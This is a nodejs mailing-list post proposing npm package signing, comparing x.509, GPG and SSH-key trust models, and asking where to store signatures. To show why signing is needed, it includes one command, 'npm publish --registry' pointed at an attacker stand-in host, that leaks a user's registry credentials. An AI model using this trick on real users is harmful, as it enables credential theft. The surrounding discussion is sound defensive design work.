TL;DR: I want to do that. How it should be done?

This message is too long, sorry about that. I guess it's okay if you just 
answer to the simple question above without reading it. :)

--------------------

So, we've been discussing it several times, and I feel that the need for 
something like this is rising. Three months ago I tried a pull request 
(https://github.com/npm/npm/pull/4016), there were a few issues with it. 
I'm making another attempt to implement package signing right now, and want 
to ask what can be done better.

For me the purpose of this is to be able to verify that a certain package 
is trusted doesn't matter where you download it from. There are a few cases 
where package signing would be very helpful:

1. Various caches.

A few years ago there was only a npm registry.

Now there are a few public mirrors like http://npmjs.eu/ (which is a great 
thing but unfortunately doesn't allow https). Here're the discussion about 
public mirrors: https://github.com/npm/npm/issues/4131. I really want to 
use those, but I'll need to trust not only npm registry but every single 
one of the public mirrors I use.

In theory package signing would allow to safely use any public mirror, 
because a malicious mirror can't alter signed packages. It can still 
respond with an old (possibly vulnerable) version of signed package, but we 
can live with that.

2. Name collisions between private packages and public ones

You can have a local registry, but run npm with incorrect settings, so it 
will download packages from npmjs registry. If there is a name collision, 
you just installed something you didn't intend to.

There were numerous bugs in npm, like `npm update` fetching packages 
installed from git. Same deal, somebody could upload packages with the same 
name, and if you hit a bug, you're screwed.

I did not see malicious packages in npm repository like ever, but I did 
encounter scenarious when something is fetching a non-existing package from 
there by mistake, and somebody could in theory upload them.

3. Npm registry security.

Right now anyone who captured your password one time can do any weird thing 
with your packages you can imagine. Only issue is that a publish date will 
be modified in couchdb, but nobody checks that. See a recent thread here 
about package immutability.

How easy is it to lose your password? Well, let me tell you a scary thing. 
Just run "npm publish --registry http://evilsite.com/";, and your 
credentials are gone, npm never checks that domain matches.

Anyway, passwords suck very much. People should use assymmetric 
cryptography instead. Signing packages will at least somehow mitigate that 
issue. Like saying "okay, somebody can tamper with my npm packages, but 
people won't be able to install them".

--------------------

So, how packages should be signed? There are a few options to consider:

1. x.509 certificates.

That's what ruby does (http://guides.rubygems.org/security/). 
http://www.rubygems-openpgp-ca.org/blog/gem-signing-x509-and-openpgp.html

Here's X509 vs GPG thread in a ruby mailing list:
http://rubyforge.org/pipermail/rubygems-developers/2011-May/006598.html

2. GPG

The main difference between gpg and x509 is that everyone can sign gpg keys 
with their own keys, but x509 certificates can be verified by only one CA.

User should be able to choose who he trusts. That's why I think that x509 
trust model is fundamentally broken, and https is insecure.

Web of trust? By the way, I really hate it how kernel and debian webs of 
trusts are used. I don't give a damn if somebody's certificate name matches 
their real life name. Only thing I care about is whether it's an author of 
the package himself or not.

On the other hand, if there's some web of trust with light signing 
restrictions like if you use some package for a long time, you check that 
public key owner is the same person as github account owner and just sign 
that. This way people who're actively using each other's packages will form 
a strong set.

Also, Perl/CPAN seem to use gpg. Since it's the most familiar language for 
me after javascript, I think I'll look into how it's implemented.

3. SSH keys?

There's this weird idea. Github shows their users' SSH public keys, and 
@substack suggested (see "cipherhub") to make use of them to encrypt 
messages. Since these public keys are easily available, we can make use of 
them. Just a thought, I don't really like that.

--------------------

# Implementation

Right now I'm thinking of npm signing a package on upload with the first 
available key by default. If there is a gpg installed and a key exists, 
sign using it. If not, maybe print a warning. Is there anything wrong with 
this approach?

# Where to place a signature?

We're signing the tarball only, right? And a package metadata (that JSON 
object in couchdb) would remain unsigned? Anyway, the signature needs to be 
stored somewhere, and there are a few options to consider:

1. Upload a detached signature as a file.

That's how I did it in the initial pull request. Its disadvantage is that 
npm needs to make another HTTP request to the registry.

2. Append it to tarball?

Is it possible to add a signature to the tarball and preserve a backward 
compatibility, so an older npm version would still be able to install it?

# How can 3rd party sign a package?

There was a suggestion to allow anybody to sign any package with their key, 
see https://github.com/npm/npm/pull/4016#issuecomment-31329724 . How can it 
be done without major changes to couchdb database?

--
Regards,
alex

-- 
-- 
Job Board: http://jobs.nodejs.org/
Posting guidelines: 
https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines
You received this message because you are subscribed to the Google
Groups "nodejs" group.
To post to this group, send email to nodejs@googlegroups.com
To unsubscribe from this group, send email to
nodejs+unsubscr...@googlegroups.com
For more options, visit this group at
http://groups.google.com/group/nodejs?hl=en?hl=en

--- 
You received this message because you are subscribed to the Google Groups 
"nodejs" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to nodejs+unsubscr...@googlegroups.com.
For more options, visit https://groups.google.com/groups/opt_out.

Reply via email to